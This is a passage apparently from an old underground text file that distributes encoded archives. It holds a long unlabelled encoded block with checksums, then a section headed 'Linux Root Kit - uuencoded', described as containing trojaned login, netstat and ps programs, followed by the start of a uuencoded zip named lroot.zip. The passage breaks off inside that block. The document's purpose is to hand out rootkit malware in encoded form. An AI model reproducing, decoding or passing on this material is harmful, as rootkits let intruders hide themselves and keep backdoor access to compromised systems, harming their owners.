hgFznjbZVovtEnHIP4UJHXf+qWuV1AN3nRDM+6utOSteCYyG-IP0IAWUXcZl0
h3IbYg6M3hz21qbXjZa4Gh0kXG1IOUjTI+ERKrAcGPzM8UB+JMHn5AH+Ion1q
hvaXh5sxr0yAMMCEJ2MSJC0HpKE8hSTYP6SzJlVxi+y0rkIAhwISHsrv4VJJ4
hQHOz3IYAJ0KX6U7kIYIgs0aJpo4Ei+4LrUOegH2obT3cR4Kol0zWfwm8yAzw
h4oGQW92RznsTrDliXYT4mlWtk0BkvmnAoZiX4AV3SgmjUQKquFVMoFOOEQAU
hj4b-f85o3ArgRxj0m5TROsYXchkM6QH2DkA5BncZIOatVrpdXbYyYiVPgs5z
hD7WCejyBL0nJucNBNfk2QImXF2hawAFvIJaHJbiJmMYBiMd4w0jLZ2N8Oi7V
h+BC+Sk++XftK5bohwSsRqJwPMtd6xusGYDtcgjrxT7Hs5VncLNYhGr9+qtLv
hgINdhZm4eli8toeXRgvjk2BY3OPEG5mUtQztfgYDhlrr-UC1Gl67Kpz6oal6
hyeqdBKUKqbAC2fgpJcUyMZLnHICLyFKZpM9i-hkkdZAlUJXUrE2Lw+ew8R9h
hKtsqC5J5FdID-vavHUZxbuV9SJ31MScJDExLhgqOpRqgKOHVhqTvWt6x1ehU
hQdoZwsdr5hp8fPHGrJl8LEqQhRi+-+mcLRJLFO5fITxIEhKxWyAjkG6rU9Gu
hd3ysRt6lbDcukZnR6LgtPhMfHp3JjpBuWhubC3cDQLFzGq6YAfz6WdQ6z6TP
hi8kRp7btQYbcW7c1Q8SXDZGUylBWgESujEdoIIoE7NmukZ0raQNAXE8hfM-T
hW9uCy3ikjZ3WzEy1TOBcMNx0ymq6zLy-pNEhu07na+Es5B5ksl1yDV6z2u4B
hPM3sh+5KDmF3URw8YTQ2UBDITsnUnmbHS38H0iF9NLsIoVxX8BWjMKWCc4jc
heKT2zfgW3fM138Twbscwj6PAZA56E2R15wSMHUf4DsdJdh0+UjGUklZpd0rV
h-kagb3xupJ8Ys3c01sJZGcS-jCHBgX0gJPkUfrUZNVBh4N7tZvrD1BtnVvqT
hcch4BoDjOuIivwBTj8ia4Uitw7MfUkPOSODS9Zfr+zqPEuTcta5DbAw-Ay4t
hxTuyti352jvmh6EuK+06WLTDsT1hYOCoaJswPuQ8gwxl50UxC7SeujJwk+BT
hXj6YCtHi9zAai6-Iie7hH0LuAIZZHWauXaWiJt7eXx8TSNdKTVPzydRsAGVF
hQQGlMfGSmBmBQxZn0JO2gZNNq6dAg3MtwfVoFNFFhuwbu8h4mfGP4ezfhgbD
hG1K2umsxDOr3PlouWkAYhUVlB2i9gxag1eQtB4nIWvEc3PftZs6irEIOLnRw
hQ3QdGdtApveAccokX-S3SMMXtxJ7WspS13pDbDt3PxleYNJiM-1Kc4MRebnk
h4ErXa2ELvChqkQ4C9zjtndrjjzaoEk4WvpaA2vW2PaK84Zi+-MIJlRRar-FG
h43vBdhvdlUYynO6K3ncvWoOqSBIt+gPB0zIxwF6VwjLpP3iIoB9mw2Ca9uy8
hqDu1P92oRhzj+j1FQbNPRJEYwVQZA1zXffKZEcOd73egd2vGOpLVKMbrUsvO
h02Gdf4URAm5Wpii5Zmz3MbJ1ty+PicKFBo3uwl02cN3T-7pNkxvs2lL6PNFy
hj235z3tEYukza8ZsXXUdkTS3Zee2ADpHxuPtE80or6xiCNVmZYKSzbNK35wu
haJN2NJvSmFJulyKGQfMU7KOZ8rH4qAdBJ9Je5hTdIR4xC6fcUYtLsawPXaCo
hLhT6Jj5GpZQgrRPdVdN5dlJFLIh56USMFZxfoPq3vYSXpM9+x5gGIJdf0BQh
hx6qW4qMXjwmU8nITGNj6R+bHwMqcKmZBd1XcnaAMIJLTb-dXLI7qXrMdSW6u
hlo0IUYaNgORWhwgIhEokjbangG4MXYeGaTvhfTI9yZ7DmpJ8GIU0J-Z69z0d
hCkzEl38LDLJHuFRQsWXz0dYgL9uUc3tRxlRhvi8BzBjl98DDao0UC6mHMfLb
h9hpU4W8M75p+t24B-tiFku2XJGeir8zuKfUTVxYW+VmL6tRwTeY-Wf2lxTuR
hC5v30KBgge4tBoQOGNusBCnazRwqfeyTthcxCOuCplh9OSLdlYmlZ3TaYzI9
htBdB9hoZvztZZu7GNkW7xpUuEBWHyvwuSLfzBoQzgDqfvqsDzNzQjhHkTvjx
hGKrv7qrwuXzQt5VLBzODq57MtioLrNAnhe4StUp+Myhi4elg+gxrcgNmPspu
hSv1hPOfEEYRxpTjBvcxBQqVPjtiZfQqjUR9hYP3nbQHnl3og04hZYgH7Kv4y
h0YU+83WUAyXwRvFH58UOXF7F1zRE0wRafrxV1YUnK4A7rWfBdfd4pymrTomr
hghkypoMDXcbLQzR9BS7h15WtFgXiNY5DlsxevSOKjdJE2M-ST-kmr4HioTx9
hAvzLYzF8Fn5RDR9stmzIvz-QE0RZQUYFoPaqGmZTw0fAjjPVeHlUZ2g8AWqj
h7eUhsExNdqIjUzOIHXs3UFPpQzQ9KM8iM6q+kj-I-1WogCVWTnzMC8ok2pTJ
haCm6bQ8fHt5kDg2LLSySjv-uxUD4jk3EGkA23+++++U+W1jgxBS2x5am-+++
hB+Y++-A+++-2NKpjPZFZP4tZR0xoSL-ZQmtchJLPPiAq25qqjq8+9f-76BV7
hRcjBtOKmnAE2PAYJdKG1cg+e2aoHYIK1dCApWjrrnh-mbQgKTKdSEahangkt
hEwvoHvdk+d3SPMqO9lkQZQRkRbZl+OaQmwNNo1Bk0kZtctuZgQdhuIhIp4ea
hHOC85cK5REoyr68FJddbKR3rAeKmIhMNxPVqGXREB-KgfEHJUBJfIofztJ2p
hVRY06Wth+-jZ3e0BzuzLXZ0KiZ6nJFO22I-V78mYKGfbN+IfctxJVESr87mj
hROPfKaxIAsRGBtKW62gc39SIvcfCNvordLaaPIqZfh-nPFrGQELKGeX3crsa
hIugIUS-TctoeNM+SmY8BS+FnGCjdjOs7YtNpcNPGSCrCrlS00JwcgWw2SJNf
h9CvzeEJq93iYGdTf7POzq1ShXzrEO1Sk97koeeXhELXTA+7yGQCHyxHnRuCc
hwCssNGbZ6NsGc0BxbAb0fT5eIBjdSjV9VmGgbfYBheohmmi-GJNpgLr1d0WT
h4fqdNHKLV2gxvaE2gNDB6PymLZTmU+aJT7OpLW4-lyrvCos+VqgSk20O7pb9
hfJRFsIp5MLRYhP4SvCQSl37tYEWh8NPm7uyboESnjrBjgTNQYS8X71KkOFdY
hIu3BYY16O8aRr1CnGAEUT+InBDlIhzMZUJr7YhsFVWduM6NSI9BvGxOqHOCM
hPAE3WCEaikxH-bWSdgYR5v6V1-vEm0-ZhmnC-6Hl286YnZ6ym9AY3T1hKmUk
hsCB5AjbN21w+yndBaF0EdA+bon355+FCknXXH+H+sqWQ1rZwWmfb4QF7-aAy
hsFauNIZ+yEXcTGEYBn-VOHH0by4+Xrbqs+iusJZAuKskLkXHAApsZ6z138Nt
hCYq2FmBSEmuWQQUbPBU19+6H+vh1KW-4sLXwWWQWjO6tM3VWC-Vv97w5OEtt
hme8Ay-lC2Oe4pMo123AKQHekfkmdVCZ1oA68xbiCHaUYh42s0KyFrB3zm66h
hWT8IHOVU329Y+t5l9AwMr0P7I-+IkUiKrj46WKgM7w6fZUgKM76gxCYF-SJ0
hAts5iS-SC-tb92rnOQOHy7W+FgYx8cD3VVUxx06bgSSA6WLd+y4G5fs5+RmD
h45tDGJCjKYVO03EjmUXhVGRaFHqn3qEVNfRXXed5X8k7+RpnkMulNJmE+xxZ
hjUwTDATQouRaMKqvssj94zWK+fy-Q5X5eTXK4Gy0sCqZGKs6GSHFe3KzTEQR
hSZ3LwBjF9wRiit8qhyXwqXi1czogC6P9zhbbziIdyLvUpFKoPg2n9dVnL8GL
hbzeb3zrHAnWvi1fxQbLy-NPPoi1f-DNx-FwkfhzhIZ+ZQTgsEtDefmuxqL7F
h41X-lMQaKlepwXDwya+X2oJSRrz+-Awow8yvLTYRtqjnnlTjFcQzzfnyZome
hQRqCrJcbZo4boyaTk4OzGQipAHVBkS48+7kfK4p5ZUjhx5lSmw+vpsJh5L-K
h4FlIa-y52PbtEcgGDzV68eKFQxlGi+Cehx2sWEri4pcFh5sDXXuqIZIXbN4Z
hl35rBbEXQHwK3JG38rNH25orqXntIAENHevrn51S6FO3y5UfQNji+dT39i+5
hF9Iibyl-nBpj8BjDTkBEGkA23+++++U+W1jgx8q2GXCu3E++KJI++-Q+++-2
hNKpjPZFZP4tZR0xpR4ZgOLFdNLAiMxowOrSPG98TtLBzF2SngIIgjtDR4HiN
hL3b0AKRYsF2c5hwN5moFmAOFE+Achiz4yxirefe--U4GYwnCrdiRDIPRpRLp
hfic5v9lMMmxMqtwx-CvpHQEO6sLhzT1xxunjL1hS317zn86PVkowxtAHV4vo
hU0phOy8CzQ-nfKoQrddA4+oDKS02Hj17gP2RizeCvMNFs5uMFuvjAQinqHlo
haCilo7w56sRODfWS3Hkkk1UBaynCXKuM5x-TTlsVZeZjiqBrN04C7fA0VwqQ
hMCd4YKCnKS-zQapsW4ugW4URytC7TyRupqnYSvO9Uo92UiCaHbG6nrjPCR86
hIo5Hm9Q-QVt4k2tY+Oq6pTfUTw6i6GZ2+jwwDr75HVAUr7-B+-yWGOQZxf6o
hkOGXWSJCbM-Yhvx602kcGGEa-DWoto1Q5oA9spk8H9MzaYx-zJOgh-rEVkzx
h+NhOYFCspWFA-Iw8EwEm4wHQkHPNVaK1vIFiW3Casr20+AH4gKB3Qn+RJ1iO
h-lYRA-5usyUCp0P66Yb+79C7xN1Xl-dxxDmvWKBTCsULRJkn2EILKkHwXGNn
hqoZlAhjtt2nw4H1ksK5FlV3-OiNBRik25tq7wo-GRA5GEP0QKHw6WRaLqunb
hi0EYlCNNIuT+SnkzvGOPmyC8SEIKDnUc1J0OnlnDVXs5-EEQHTr6WHY9UN2+
hoBhg1-q3QVCSlA8NAo6zUe2iCZW+5iFlLkd1cHEQMtte-XDo2zCWpJQND7zr
hxTROFyqksojcJ3ZTTOTqH6CpSVrKpbhaLngSa5fTM5zzSwi++FgPq2KlcLT7
hp3zCyudVA9rDh9DnfUNs+54zpHAppKUmfRTi1XdOvlp6SK0mbaumfbOaaE-a
huYqQ1l2hXaHu0HhHyypHyBYupfeOSIY2bKVa1uQvUTZOv9nJBvLqcBjegzB-
hzpkr0-jmpR4ARfSZbOaRPEN2kAFATExgASCopSpay+FA4HODJG0lRRkZL1ED
hgBbFyafPF5vGdnN61OXfBdZlffMpT3-zIM4JJjym8R+Ougw1+67ClBNdbPLS
h+LCB7K6-ZPE5TTIA0EN-46BXkxHAUOamRvfSAF+Jc1TIzbihfFd5f8gP794-
hcHNV2fB3okAK2-RokzDlkB-6Q3fDJDjxkPaduHo32Nre3m+N69M3cngYN9p5
hD6CExDsZsYJtY+uOvC7IVTMymdGYpY7N400xhcbM72WM3SFdGgmmbjeies5I
hqmfqucXcEXBI-JGa4EWUwNYjKdT2ss1MFqI-PTlFAhsaeNFd7unJSOwVwE6M
h1A5EVB5c7sX749FDVTHF1rPKpftnltvhX04KSh5OncgEsy46XKugU6KXISXO
hjpulBumCTbT6zfjlbE8FPk9-pUarFvJLqkSg2IQBVFrgvCzjz9-LDk92Ae6U
hlTALnHtY2cfa7oVHyt0CTnXMqTpyNrSDvLpziDirkvpLPDck0g15aLczMryd
h5upx-z5-5PCR3tU2W3vC+31jSYvBJ9juiKb6jxhbbTGroKoDSuon3Jd2b4Gj
hfK-avIHCl5CWvNgTdMvk6Rm75aN+sK6nd-7gZNd507dheoBZsEHKNDia9fSC
hvF0bmfE32BhnHNnYABTer2BOwLXfWRNJOmxuHaE43WHABqnre3M1oTHwW57f
h02I4t09cwVn51X4wUYMSI46UiBcAYbvoMAybguApo1eOlbkqgY8bcT1kK-jE
hHxM+N708Fcv0Yr7kHIZH4+w4rYyyOuy7kL4rEXq-Qkr72Z634Q49iDBcvFzN
hPhHYu6VXivhl7n-fMkEg7GAIxUkMJBUzpadU++orV6Hc-314IFACGo-VKCHD
hNnDeDZefDOvJsevBnGCOsb5hASPNQ0915rrINp5ABtG7otbXVN1-gH8-H1kS
hCs21UeGOtGLM8WP5Zq1sM+mFAkoZIO+9GGX5RdBBA+2raHzXNRq12rey2UCn
hAUUIYL1A4gH2ZkR0M3-+E35dF05As-TCg3O1TkoiQ4KRY82Vz8w1KNVDXcso
h0Fom3YGBp-Ax63a0M4ysgAaSqdOr+TK6nmhD9c3bC8EqVUHfFSB4423i1deg
hfUO-5lkm0z9hR-OVlF4tzbUA6VDogRrvtzTPjrZpHWVjF1o7rfPqMVqhmX1P
hVTyIC1dYi5dQymyVNnBPFo3V320hU0uK3-z21QA8kbMyn8yj2R1pg1WpsZ6D
hh1nrEjTOUl2YsRXxHg-aTxpzxJS8Q0+Eg-+fg-5NP-sdxGD7IQ+wsZ4BAEkf
hx-HgW9o2pN8syTduAWSu-6UStZ-+3uC71ysLxmZ5mJ-2lL+QY-KAdXBe+4Jh
hpMJHYEh7QKEApO6LExrJIHQm0Mb56PfNEmAqBJYIHIOQ5L3+fYHiWUgq+yO3
hkFnbNAx1AclsQ4c42bKQMxtNGI4-4U1bcuG71UGzVio4ncXPoMQtSXeOZrQR
hrL0x2Cc2VYyPBM2LTBVFsh7wC1Yk9X6cY2B3OOf4w3nh1vhETRECxiLCeSgp
hvdgDGerFi5zxc9lZxsQDGh3IAmnqotb+gQ+ny4yS4e18HOAuBbAEmUuNw0ds
hF3q0kkXH-p6aG6zgr93EEO1DFyGwjoKU6YZgT+dIBd25QwIG6Ph72opWCPkz
h+KGP7+3CIXAbedrxq6k2tLmGpq6gsGkaxjbqzXp34FnQO1Gsx7HprTjlK82E
hFkxjqQO91LP6BhV4+dk-VSYtNtUyOhkcuEwba4qxKG-Nk+bVPlM0D16AkZwW
hYWwI06bXOrZPkVZrwYn2SdB2eNXL+i7y0w1lZEKd3228C1u96DCpe+pcn5Um
h1qzYG9UEVA1WkSxg86ni6r+lxzRtOjVdo3Z2-A3XfIOVUyXWyISC68Cd5OQZ
hWAbQNuLUIOAu7sL-423gD+hjz1jS3g9+KY6gRg6+389KObDRMVgjPMTuHkol
ham7AhoXl6Mu3s7dpKssW4MyKU87TXgTCiLyGkJDRpT9dP-cVTjU13VsnR83p
hiyVyRLmcUkQa5P0OsVrk+-pfJB1kjctCDFpR5h07-rHs++lqL2sk6lROCIzk
hLtMV55AYVUVNkv6W7yh01oA7QyWAK0YwcqEEauW0U4e-Jzp3DyyKcOHCSUN9
hqSGcZZELEVbJbBg9mdEBiB8LZrgmbvvOWqAvZvCmQ+BMDAt1eAY9JUdi7iCF
hVRqtYwbknjSWMS02gpyjU0ZzO8SzFT91SfvVIXNY9YEBeBXUMLAnKJVYFfZL
hGJ17qc397W0seWAgaC+EXEyguF02GZKAg+FLmF21O2JAGckWRSSJIODj9Y3R
hWgVC29aw0Wx-UeFB5sNr3bGVEdmV4k6U2WZ5cclIQ3kw8ku2KO5ZSNUJGF7i
h0hZTVcDnbUxN-GA2Yn2zIc-OYLEGypSGbg4l2iaYclndyREcRDAZOg5bfpJ9
h2MtereEF-PllxwitwJAQ27D6w89Q-FRFDwY7mx15PZW7jU7NscfYVqs3cY7b
hFCWbiGDCzPIqbQClUYrn2JzdXVTTk-ojbimC3pzYXYxG19b4Jmea0AQ81Zag
h45F6zd-7nHEmb5yEGxuN1qp9JgpMQ4ywrg-XbMoTBy6eCvyqtMU6yCv40Fk4
hAsZemPMWWsJsVVFjJLYFAWCKqXV2f+HkS1Av12OIpl+oBGmQTbqphryJ8GgE
h8D4pSIXS04K76mc7J6RIh9DDbpByOKo79KipFV24qcgFrDuuSmKJUcPNAUS4
hceHZG6mmOioYub9Xa6YcogVE+c7Lc1HihxxrucRpEsI8KEsdEaszja25GfNo
hFkbQ+fhUjp+llEFny0qIJepqixWlRwK5s0shvWwVOG0QKrn4wsq8MfkFsF4R
hNoLwg16hSsjwdvU+NkjCIlbW8t36rWA3wi9OawLiIo1jvIc9Vhh8QdTXE4dj
hJuEKFhkaY+IEHHdT6OBGbmZ02MwZykDv-OjljGdvPOXHKTGEiibPhqyJl0HZ
hNLdstoOX4xZL00qRGUXlaiPZiLdMCdKdxgyoLeivVK+gaGGDS0yhAq9YDkxO
hrO3a5-PjdKU4yuryTDh3y3ix5YSyfToaWrQW-S7BqfieTEUQuyBF+LtklYv7
h1BVJLlVhCqBfDcY8lt1fpvQUfC6R+MzxDgRnTFQQ4QmnUFhrmfM620bTGTl4
h4KFrUC7tAy6qnZKpgs8w0Oscng0OerG5WXKQ2gj60C5l4mYFHzktxg9RgVTV
h2pIf8MTqDFCuA+fjJKnEg3HNpKhqoeHEfp9DuuuKf4vrySdKN2ROs3MUTTjQ
hTWgVslJbYQF3IxMYiWRRzO906jFrvvfe3U7hoGatrjpnnK8rn-foYlB+mVOQ
hROxoE0wDLyKSmvEbgP-2Xmjfg3FbjRO3IOsmvDpXRGEV-RSck7dXOuzIB2j2
hXF7zPWgIxce0rjsJxXHUVx8+ToZ3WUrGd8xTTuxw9ibSjp8I+a2-LmxLtijU
hKz-p6D5pQUKy1eftSWblZFXYeqxbYBytslczzf6PfM3tWZS1qWpHJP8a8bJd
hSezQO9BkzlaNduySRmwDbtGGSD4NmlrdA6KxdEGCaJsnQ8SvHdBkId3NZ+AK
hCrHF-Gh5qIsfRsBVrgnUnAUJHUSc-dP4l-EZsXyc9jtbJV0tpeF6-r6tUcJV
hQFrw4IhVCWhcd1PCpcafsQKdDXlf4HzFkJzGoite8VoRs9+uzoJGlEhZOfwQ
hrOZyYIB59EAHx-GXsvw6bRtHhmtOd0PcgiPFnH-NGuz9UGYiexYS5IT53nQO
hw8mIZWdMe00+N8sJlGND90LqVo0W8-8bWuazdyefB1HrOgbGehX8r8gb99Jm
hhIdAoyOaWkhNaRkW53KaZjVvvD1Z5jCNqAZOWDgIUuihN5HiIsmiJatsb-AE
hISl2tOO0WZZe8UU2eu+mMsYrayPF84JZQlBgL1uNfJ5zFboXptmVHGefJWWD
hJYx5aPWmKCTmyoHNH8Lqqjr9QnCLd2FfSLMG+5xiKV72s0tHrml9EBFN9kYZ
hAMPmNGj99pg9FjTJbmh7uCB3MQDQKcYI+8uU7YOp+ZKOQJW6beTkpNBpWaxt
hgZslBP6btIN212FwQF2UXrpW1J0qke3e+2Rvcy-V3jrvQZxWwcDnQtpPL5Lu
hsr0fNQ+m6GxBU6IGzifwFnRsGU7vufXhsIzedJPVjU7+WC1OdvQmFjtoWhRJ
h0Z-qp0Ic2s+eZ3yvQcvl5LvtBUVhWuuw0F6bVylSWBNHnzFClMNY1A5yr3G+
hdnsZgeM16IZHgNuYkLej95PHKJbZs6tSAfGX9lhMCagbaNKU2oBsmif1wxbG
hm7eLuXuL8XS-vhbkFCxThDcR9B2CmuQuwMAvj7FuNcITosYGcnpMjOVtTZxR
hohHmVJBVC0YBq3x-K62f9IUnyG2d4MFcRBhZKy9RRfpWblAG-zrST0Df4aoU
hTiwX2uErgTJYo4iLFqhyNGsSLHloVN0R2sQoCVuQBmk-oqqxAuvKwP4fjZSv
hltddd6mFj6UqLQdilNJu105jJqOFh3gx2xwkSuSKMYZ-mh4wPzLdTP3G713+
hCMeCSh6ORAiN2To900eLOjUzjese3L4fzFDS6DkATuZIKk7yoVoMdpeDVcXb
hZMTVmpn7CDX--qNKgcI6q1wPUh9D2UaTFN2dczzAgZNHNi5wK4XFCaayeVB0
hgCaXVK5jKxq-aZqFBscUYhiguyiop0q+qRl9c6XqaZHSYDhzilCCPDUFuPh6
hK4bSTadaaTeqIt3L2dT42uM6PmDwxSJJ2Vg2mcV8Ma59WzOwTvKCx+rJXgOB
h0lw89184AzihQoBvFu1WiE6OrnAQaepX+cxzJA-rBOUpquQukQQz8i+Lb8z8
hxWUeYtX+GBumxTUFlioaFxKN6nWMtdwBacWqHudANQ2XxbBbOwJdgBHm2BqG
hovLeqjQDCT6fGB097KuqhiJrIkvXAX7rkLgoCwepirVvdAYG-mh8u6GGPsci
heJcfnpPZ5QvzmwSg-KQ2mCnKJi2h6bnbEIlLqDwajEJTS5yvZ31BGCtk9lAI
hU5dWIvh88YZwt-eKpvnNSUNK-vLF1ByVuyXp6mMh-TODgb0k42UUSqMJ98pp
h-0mxOJ+38y4xeA19Tp8B6V7HvcsT5PrZBkF8nGrYZSNcZhk4miw8l6ecl429
h5-YHWqYfhc2mT8Y397gtUIiWVZHD5NSKQLVPXMy9-MVrmHv0zqZzChtviQrh
hjGkIG9QI+S89NNnJqwoxP2krcbAtBlh1PYKhMOUdu8qU8K2yVm+iCDYKho1o
hQLDnGfcD-nUcWJAqeWJPLfhBhdse0+6Yf3hQ7H4Vz4NHFH+HwWC7k9mrT16a
husjOQIThrqI5YW4Up6ElGB3vtTLWsY4Aj4VQn3MpieqOGJazR1HXj8irmvRX
hThYWYBPZ3c1FmT5zwohWvBhT2AgTVPnLyZI5xE9UqwctgvDsOPWsSvGWA3R5
hdDJCmbOmg0hZ9oJn87LuaH97wryTsuRilAMo0Oswan6F4-Mq1IEmfMbhqTSs
h4XwgWdb3JNBU4ulbW-WCebmR3j9Ui7glvKYcmX4HhNEAQP1ACpkq0Q-wrHGe
hoJsm0I-woFFmI6i3ZV4rmtRi4EKhfohl1ex2PxErtBEJ2m4O89oIbt1aORnZ
hXMzQTnCbfjYnJyv2uQgLVJMAYbaySy19ci4lERvS284uJWGeltnA-53lJmmZ
hNn59OvLGoy+AZgTW67Ge6wOQJaDG-S8GyodEDgYJTus8qvp8fY8799XuEWpR
hLGIyjPTm9OeGRJcgWwSmhkH82rpJXeza9rblaYiTje10u0ermOzhHu1E43aH
h0TyOlhHuW4xk-2vulPccVVDji9gVcoABz96489y53YH+RzXJBmxoPT4FAE2D
hK6Ctlq+8wF2rf-Dl4qYyELpo+gyNg2NoAkyd6LEa6-QZzuKO1AroVeZwkXzr
hr5jy2gjM5cNCJDD34lwbbS5ze5qxgQszc-7zOmEn9joC1BeTSIYjlnSIy5ge
h-FDJ+8qVaco6x+CJ6S8iBN-AFN-DDNhvI1NkSe-kk+ySfDit3bETzA65TUIC
hDp1o0SGA5EdzcQNm6n7+oyne3moH0OrU6FgUF0qSwdDMaO+oWVvsiz9o4NN3
h5cLswbl847vCuvRXJXPdl2UA7nfl+zLSXN7rY43ug2cDBzAK41Jv-zhzqpIG
hrKgSzIMtbPWS4xvUnsMGTxAYyTtCPbkgSxj5YJkqYHA7FdxUP6oylrASy0Ab
hlAwQDi1LzjkdTS3EjCVImxaqa0zyIUHsxDJkD7xAc08NEqNOxtn6lIO30yu0
hk07uyQfZIlG89YQh0KMuhHmPN0Ba3NxD282bryM2kScWB07zNck0lz2OSt6A
hJm39oVSqtSL1NLe0J356a3bsYIQSHw0emnaIPMKgV9ysocPixCBCOJjw9FzN
hfC9LnP813p2P2Oc6nFryB3Zy6fuOs9p5HtduX7x4R-92s5Tk03Z7h0XsKmWe
hXB7z+J-9+E6I-Uc++++++0igCW6++++++++++++++++5++++++++++++2+1z
hEE++++-0MKtdQqUjI2g-+VE43+++++U+j3Bw62gKeAVz-+++QEg+++w+++++
h+++++E+U+9O-7E+++27VPaZnO0xWMKtdQqUiMp-9+E6I-Uc++++++0igCW6+
h+++++++++++++++8++++++++++++2+1zER22++-2NKpjPZ-dPaQjI2g-+VE4
h3+++++U+l4hm6-4QwBdc++++b++++-6++++++++++E+U+9O-yEE++2FZPKxi
hI4ZiNmxBMKhZNaZgNJ-9+E6I-VE++++6+-pRT00v+gODwGA++Dhc+++E++++
h++++++2+6+0qUN23++-2NKpjPZ-dPaQjQ4ZiNmtXI2g-+VE40U++++++98ku
h6U++++++++++++++++U++++++++++++E+Dx-g0Y++2FZPKxiIrIjI2g-+VE4
h0U++++++98ku6U+++++++++++++++-+++++++++++++E+Dx-pWY++2FZPKxi
hIrIjIaJbRKlVQWxEGk203+M8+++++++gf1cW++++++++++++++++1k++++++
h+++++-++zo228U++F4JhPqtHRGxHO43YPrQjI2g-+VE40U++++++98ku6U++
h++++++++++++++k++++++++++++E+Dx-AGc++2FZPKxiJ4JgPaJo9p-9+E6I
h-VE++++6+6UvvDHtYwyK1+M++6+A+++J++++++++++2+6+0qUJge++-2NKpj
hPZFZP4tZR0xVRLFcNKtX9aBEGk203+MI++++0+06Cyno6zQmz1R2++1g++2+
h3U+++++++++-+0++hc4OA+++F4JhPqtINKliNLEjMqxhPK3iN5AiMp-9+E6I
h-VE++++6+6UvvDFhVUlZB+I++7E8+++J++++++++++2+6+0qUEJp++-2NKpj
hPZFZP4tZR0xYNKNdPaJn9aVEGk203+MI++++0+06CynoAfOWU2UE++-YBE++
h3E+++++++++-+0++hc3gSU++F4JhPqtINKliNLEjNLVoNL7iQmtcI2g-+VE4
h3+++++U+W1jgx5d4RGdu-+++pkU++-A++++++++++E+U+9O-tsc++2FZPKxi
hJ4JgPaJo9qNYQqJo9aVEGk203+MI++++0+06CynoK3kRiII2++-h0+++3E++
h+++++++-+0++hc4GXk++F4JhPqtINKliNLEjNqJiNL7VP0tcI2g-+VE43+++
h++U+W1jgx+1U9rFr-+++u+k++-Q++++++++++++U+9O-0dE++2FZPKxiJ4Jg
hPaJo9qldMbFZP4tZR0tVI2g-+VE43+++++U+W1jgx0MtoI9R0U++TFc++-6+
h+++++++++E+U+9O-hdU++2FZPKxiJ4JgPaJo9qpVOKsiMp-9+E6I-VE++++6
h+6UvvDFzEijXHk2++-o0+++I++++++++++2+6+0qUQCX++-2NKpjPZFZP4tZ
hR0xBMKhZNaZgNJ-9+E6I-VE++++6+6UvvDHkdIm0f+U++0QG+++J++++++++
h++2+6+0qUIGZ++-2NKpjPZFZP4tZR0xiNLFrPr7f9aBEGk203+MI++++0+06
hCyno1MoeX6M-++-q+U++5U+++++++++-+0++hc2XfU++F4JhPqtINKliNLEj
hIYJ-F2p39aFZPKxiR4JgPaJoI2g-+VE43+++++U+W1jgxBPltKYh0k++lW++
h+-6++++++++++E+U+9O-tOw++2FZPKxiJ4JgPaJo9r7dPaQiMp-9+E6I-VE+
h+++6+6UvvDF+sqQeOEM++1kC+++G++++++++++2+6+0qUI8v++-2NKpjPZFZ
hP4tZR0xmOKtb9aVEGk203+MI++++0+06CynoJ1WwPtgU++0yN+++3E++++++
h+++-+0++hc5PkE++F4JhPqtINKliNLEjQrZnLq7nN0tXI2g-+VE43+++++U+
hW1jgx9mf1ZhMCE++EAw++-E++++++++++E+U+9O-eS6++2FZPKxiJ4JgPaJo
h9rFZP4tZR0tXI2g-+VE43+++++U+W1jgx+RNQt0N++++DU2++-g+++++++++
h+E+U+9O-Alk-+2FZPKxiJ4JgPaJo9rFZP4tZR3xXPqpkMLEiO3-9+E6I-VE+
h+++6+6UvvDEv3RPPK+Y++7QJ+++K++++++++++2+6+0qUEIR+E-2NKpjPZFZ
hP4tZR0xoNL7hOKtVP0tXI2g-+VE43+++++U+W1jgx4JNmfio1U++KmI++-E+
h+++++++++E+U+9O-YGM-+2FZPKxiJ4JgPaJo9rFiAn6rA0tXI2g-+VE43+++
h++U+W1jgxBS2x5am-+++B+Y++-A++++++++++E+U+9O-RnI-+2FZPKxiJ4Jg
hPaJo9rFtQ4Jn9aVEGk203+MI++++0+06CynofMF8AvcJ++-NJE++3k++++++
h+++-+0++hc3OCU2+F4JhPqtINKliNLEjRLFdP4ZoOKJn9aBEGkI4+++++-o+
A5E-I-k++GJ+-++++
+
end
sum -r/size 30187/121254 section (from "begin" to "end")
sum -r/size 44118/87987 entire input file

3. Linux Root Kit - uuencoded

This linux root kit includes: Login, Netstat, Old Netstat, and, PS.

begin 664 lroot.zip
M4$L#!`H``````+2^1"+=R\9L*````"@````.````;&EN=7@N<F]O="YK:714
M:&ES(&ES('1H92!L:6YU>"!R;V]T(&MI="`M(&AA=F4@<'5N(0T*4$L#!`H`
M`````+(;/B(````````````````&````;&]G:6XO4$L#!!0````(`'2>2QW)
MZQYI=P0``-<+```+````;&]G:6XO9FEX+F.]5EEOXS80?I9^Q6R*NI*M.));
M(,%JY9?6!A8-TH=TGU(CD"7*)F)3!DDE<1;Y[YTA1?FHD^T!U#`DS7".;PX.
M>='WH>]5_)G)84&?\RU\+ADR@"@NU(9+5D(M0#7K80&Y*.$VYT+?ZES#:!BC
MV(7O?\=%L6I*!I_45EWH[8:IX7)\Q%:H\E>NYFMVQ-4EKP]9C>#()9Z_1N\0
MY')11/AX#'T$XQ&9^L4REUZ_3^S4_^I[C5!\(0B^Y(O[0A91T4C)A#;?FJTW
MZ9X0:4/)JRJ)Z#F*YDUU-XIG*&,,(UA445K>);'AXF=3:/`H+J`'*G1LC^)Z
MS%=0T<?=:!9!35\1"'H=RKW4@H%^(3BK6BS`V]2*:UX+9$P_7T^\/AG&0,'C
M$18G2U+?1T9E$_'IIQ"^-BI?L"!,V3/701*FK[YOD)'$XUTRBWHMQ#!M5;&B
MNT67HO!#%H?@C!P)8A2]O10>R:*_C4205="E*CHK-O"]PO]9Y%R9]X\S,F[E
M=N*&]TT;HYFS]88-WS-ES`(75"]^GD[#\V`/NV6A/K5!MK\R,,JA$9A.4:*J
M9<"S..6?KE(^&(2^A[T%`)0:TNXE(=`;,DN/Q\@80/Q\%<=Q:D392C'C"<;C
M#+!ZWJL%.<J"0Y1Q'(['5XC56#X$24^#;O0_H"-]HW#>M4:6H:I-K7F>)ZZ5
M@@K-5_6&B:ZCX$P.YF=A"%D&-U^NK[%%C3.H;(&QK73)I$1!,W\^PL^Y^$$#
M&<%:_R'.(M@K,VGNNA+Q58JQAZ"*XNOH=C+Y]7YR\PNMN)V359JM5D$5GB>7
MZ4[:+5N=V\GOI%-)EI<!;HTHN8R2J`H/THKZ-J]M4FDL\)EI_3:B+B87DHOH
